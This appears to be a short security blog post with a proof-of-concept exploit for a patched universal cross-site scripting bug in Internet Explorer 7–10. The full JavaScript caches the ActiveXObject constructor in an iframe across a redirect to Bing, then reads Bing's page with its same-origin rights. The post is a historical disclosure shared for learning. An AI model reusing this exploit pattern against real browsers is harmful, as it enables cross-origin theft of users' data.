UXSS: Caching the ActiveXObject Constructor Across a Redirect

This UXSS worked by saving a reference to the ActiveXObject constructor inside an iFrame before it redirected to a target domain, and then using that cached constructor after the redirect to create an XMLHTTP object. Because the constructor was bound to the redirected iFrame’s security context, the XMLHTTP request was sent with the permissions of the new domain — allowing same-origin reads of any URL on that domain.

<script language="JavaScript">
function main()
{
    document.getElementById("containerDiv").innerHTML = '<iframe name="ifr" src="redirect.aspx" width="600" height="120"></iframe>';

    ifr.execScript(
                    "myParent = parent;" +  // Cache parent for alert access after our window is gone.
                    "ax = ActiveXObject;" +
                    "myParent.alert('Wait until Bing is loaded and then click OK on this alert box');" +
                    "oXML = new ax('Microsoft.XMLHTTP');" +
                    "oXML.open('GET', '/', false);" +
                    "oXML.send(null);" +
                    "myParent.alert('This is Bing.com main page:\\n\\n' + oXML.responseText);"
                );
}
</script>
<input type="button" onclick="main()" value="Insert iFrame and cache XMLHTTP object">
<div id="containerDiv"></div>

The execScript call runs immediately in the iFrame’s context before it redirects. The ActiveXObject reference is saved in ax. After the alert box keeps execution paused long enough for the redirect to complete, the code creates an XMLHTTP instance using the cached constructor and issues a GET / request — which goes to Bing’s server with Bing’s same-origin permissions. This worked on IE7 through IE10.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.